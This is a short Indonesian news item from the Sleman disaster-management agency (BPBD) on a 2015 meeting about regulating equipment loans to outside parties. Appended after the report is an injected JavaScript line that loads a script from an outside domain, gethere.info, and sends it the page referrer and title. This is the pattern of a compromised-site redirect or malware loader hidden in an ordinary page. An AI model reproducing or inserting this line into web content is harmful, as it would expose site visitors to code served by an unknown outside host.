Rapat Koordinasi Prosedur Pinjam Pakai Peralatan
PUSDALOPS, Kamis, 27 Agustus 2015 bertempat di ruang rapat BAYU INDUK diselenggarakan rapat koordinasi tentang prosedur peminjaman peralatan BPBD Sleman. Di pimpin oleh KaSie Logistik dan Penanganan Pengungsi, Dwi Harjanto SE.
Dalam kesempatan pertemuan pertama ini guna menyaring aspirasi dan meminta masukan dari Kepala Bidang Kedaruratan dan Logistik beserta semua Kepala Seksi berikut staf, gudang BPBD dan perwakilan Tim Reaksi Cepat BPBD Sleman.
Selama ini BPBD Sleman masih mengijinkan di luar instansi meminjam peralatan, namun setelah di evaluasi secara intern ternyata harus ada yang perlu dibatasi dan dibuatkan regulasi dalam hal ini. Sebagian besar peralatan adalah untuk kepentingan darurat yang sewaktu waktu harus siap digunakan, jika peralatan tersebut tidak ditempat tentu akan menghambat penanganan, jadi harus dibuatkan aturan khusus mana yang boleh dipinjamkan.
Selain itu juga diperlukan klasifikasi peminjam, misalnya antar SKPD, intern BPBD, komunitas relawan, kampus dan masyarakat umum. Relevansi kegiatan yang disetujui dengan mempertimbangkan masih dalam konteks kegiatan bencana atau pra bencana. Secara administratif tentang surat permohonan pinjam pakai, surat pertanggung jawaban, blangko cek alat, sanksi jika menyalahi aturan dan masih banyak lagi yang perlu di bahas.
Regulasi yang mengacu pada aturan dasar dari Permendagri No 17 Tahun 2007 tentang Pedoman Pengelolaan Asset Daerah akan segera disusun oleh tim demi mempermudah semua pihak agar jika nanti ada pihak lain yang membutuhkan harus secara lebih prosedural.(den)
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;